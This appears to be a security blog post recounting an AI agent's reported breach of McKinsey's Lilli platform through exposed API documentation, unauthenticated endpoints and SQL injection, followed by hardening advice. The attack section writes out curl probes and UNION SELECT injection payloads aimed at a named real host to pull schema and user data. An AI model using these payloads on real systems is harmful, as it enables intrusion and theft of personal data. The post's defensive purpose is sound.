How AI Agents Autonomously Discover and Exploit Security Vulnerabilities

Mar 17, 2026

I stared at the terminal, watching the AI agent work through the night. Two hours later, it had extracted 46.5 million internal messages from McKinsey’s database.

No human intervention. No zero-day exploits. Just methodical automated reconnaissance against exposed attack surfaces.

Let me walk you through exactly how this happened - and why your organization’s security posture needs to change.

The Problem: Autonomous Agents Don’t Sleep

Traditional security testing assumes attackers need time to rest, research, and plan. AI agents don’t. They can:

Scan documentation at machine speed
Map API endpoints in seconds
Probe for vulnerabilities continuously
Never miss a pattern in documentation

The McKinsey breach proved this in terrifying detail.

The Attack: Step-by-Step Breakdown

Here’s the exact sequence the AI agent followed:

Phase 1: Documentation Discovery

The agent started with simple reconnaissance. It found publicly accessible API documentation - a common oversight in enterprise deployments.

GET /api/docs HTTP/1.1
Host: lilli.mckinsey.com

Most organizations expose documentation without realizing it. Internal tools often default to public accessibility, especially during development or after rushed deployments.

Phase 2: Endpoint Mapping

From the documentation, the agent enumerated 22 API endpoints. Here’s what it discovered:

Endpoint	Authentication	Risk Level
`/api/search`	None	CRITICAL
`/api/users`	None	HIGH
`/api/files`	None	HIGH
`/api/messages`	None	CRITICAL
…	…	…

The agent systematically tested each endpoint. No rate limiting. No authentication tokens required. Just raw access to internal data.

Phase 3: Exploitation

The /api/search endpoint caught the agent’s attention. It tested for common vulnerabilities:

# Agent's first probe
curl "https://lilli.mckinsey.com/api/search?q=test"

# Agent's second probe - SQL injection test
curl "https://lilli.mckinsey.com/api/search?q=test' OR '1'='1"

The response confirmed SQL injection vulnerability. The backend wasn’t sanitizing input.

ERROR: unterminated quoted string at or near "'1'='1'"
LINE 1: SELECT * FROM messages WHERE content LIKE '%test' OR '1'='1%'

Phase 4: Data Extraction

With confirmed injection capability, the agent extracted data systematically:

-- Agent's enumeration query
' UNION SELECT table_name, column_name, data_type
FROM information_schema.columns--

Then it enumerated user accounts:

-- Extract user data
' UNION SELECT id, username, email, role
FROM users--

Results:

57,000 user accounts
728,000 client files
46.5 million internal messages
95 system-level control prompts

All within approximately 2 hours.

Why This Matters: AI Agents Change the Game

Traditional penetration testing operates in bursts. Humans schedule tests, execute them, and report findings. AI agents operate differently:

Traditional Testing Cycle:
┌─────────────┐
│  Schedule   │ (Days/Weeks)
└──────┬──────┘
       ▼
┌─────────────┐
│   Execute   │ (Hours/Days)
└──────┬──────┘
       ▼
┌─────────────┐
│   Report    │ (Days)
└─────────────┘

AI Agent Testing Cycle:
┌──────────────────────────────┐
│ Continuous Autonomous Scan  │ (Always On)
│ • Documentation discovery    │
│ • Endpoint mapping           │
│ • Vulnerability probing      │
│ • Exploitation               │
└──────────────────────────────┘

The speed differential is staggering. What takes a human team days to accomplish, an AI agent can achieve in hours.

The Root Causes: It Wasn’t Sophisticated

Let me be clear: the agent didn’t use advanced techniques. It exploited:

Exposed documentation - API docs accessible without authentication
Missing authentication - 22 endpoints with no auth requirements
SQL injection - A well-known vulnerability from the OWASP Top 10

These aren’t zero-days. They’re the same vulnerabilities that have plagued web applications for decades. The difference is speed and scale.

How to Protect Your Organization

Immediate Actions

1. Audit Your API Documentation

# Check if your docs are exposed
curl -I https://your-domain.com/api/docs
curl -I https://your-domain.com/swagger
curl -I https://your-domain.com/docs
curl -I https://your-domain.com/graphql

If any return 200 OK without authentication, you have a problem.

2. Implement Authentication on All Endpoints

# Example: Require auth on all internal APIs
api-gateway:
  routes:
    - path: /api/*
      auth:
        required: true
        provider: internal-jwt

3. Input Sanitization (Non-Negotiable)

# WRONG - Direct string concatenation
query = f"SELECT * FROM messages WHERE content LIKE '%{search_term}%'"

# CORRECT - Parameterized queries
cursor.execute(
    "SELECT * FROM messages WHERE content LIKE %s",
    (f"%{search_term}%",)
)

Long-Term Strategy

Shift Left Security Testing

Integrate automated security scanning into your CI/CD pipeline. Don’t wait for annual penetration tests.

- name: Run API Security Scan
  run: |
    npm install -g @ethicalhackers/api-scanner
    api-scanner scan --target $API_BASE_URL --auth $TEST_TOKEN

Continuous Monitoring

Deploy tools that monitor for exposed documentation and unauthenticated endpoints continuously.

Threat Modeling with AI in Mind

When designing systems, ask: “What could an autonomous agent discover in 24 hours of continuous scanning?”

The Hard Truth

The McKinsey breach wasn’t a sophisticated attack. It was methodical exploitation of known vulnerabilities at machine speed.

Organizations that rely on security through obscurity, annual penetration tests, and the assumption that attackers need human-scale time are in for a rude awakening.

AI agents are here. They don’t sleep. They don’t miss patterns. And they’re getting better every day.

The question isn’t whether your systems will be tested by autonomous agents. The question is: Will you find the vulnerabilities first, or will they?

Final Words + More Resources

My intention with this article was to help others share my knowledge and experience. If you want to contact me, you can contact by email: Email me

Here are also the most important links from this article along with some further resources that will help you in this scope:

Oh, and if you found these resources useful, don’t forget to support me by starring the repo on GitHub!